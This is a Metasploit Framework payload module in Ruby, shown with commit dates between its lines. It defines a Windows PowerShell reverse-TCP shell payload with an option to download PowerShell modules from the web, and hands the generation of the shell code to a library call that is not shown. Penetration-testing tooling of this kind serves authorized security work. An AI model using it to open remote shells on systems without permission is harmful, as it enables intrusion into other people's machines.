metasploit-framework/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb

54 lines
1.5 KiB
Ruby
Raw Normal View History

##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/handler/reverse_tcp'
2015-04-23 22:12:38 +00:00
require 'msf/base/sessions/powershell'
2015-05-13 16:26:21 +00:00
require 'msf/core/payload/windows/powershell'
2015-05-13 16:36:45 +00:00
require 'msf/core/handler/reverse_tcp_ssl'
2016-03-08 13:02:44 +00:00
module MetasploitModule
CachedSize = 1526
include Msf::Payload::Single
2015-04-25 23:16:59 +00:00
include Rex::Powershell::Command
2015-05-13 16:26:21 +00:00
include Msf::Payload::Windows::Powershell
def initialize(info = {})
super(merge_info(info,
2015-04-26 08:20:29 +00:00
'Name' => 'Windows Interactive Powershell Session, Reverse TCP',
2015-04-25 06:02:25 +00:00
'Description' => 'Interacts with a powershell session on an established socket connection',
2015-04-25 23:16:59 +00:00
'Author' =>
[
'Ben Turner', # benpturner
'Dave Hardy' # davehardy20
],
'References' =>
[
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
],
'License' => MSF_LICENSE,
'Platform' => 'windows',
'Arch' => ARCH_CMD,
2015-05-13 16:26:21 +00:00
'Handler' => Msf::Handler::ReverseTcpSsl,
2015-04-23 22:12:38 +00:00
'Session' => Msf::Sessions::PowerShell,
'RequiredCmd' => 'generic',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
2015-04-25 23:16:59 +00:00
register_options(
[
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
])
2015-04-25 23:16:59 +00:00
end
def generate
2015-05-13 16:26:21 +00:00
generate_powershell_code("Reverse")
end
end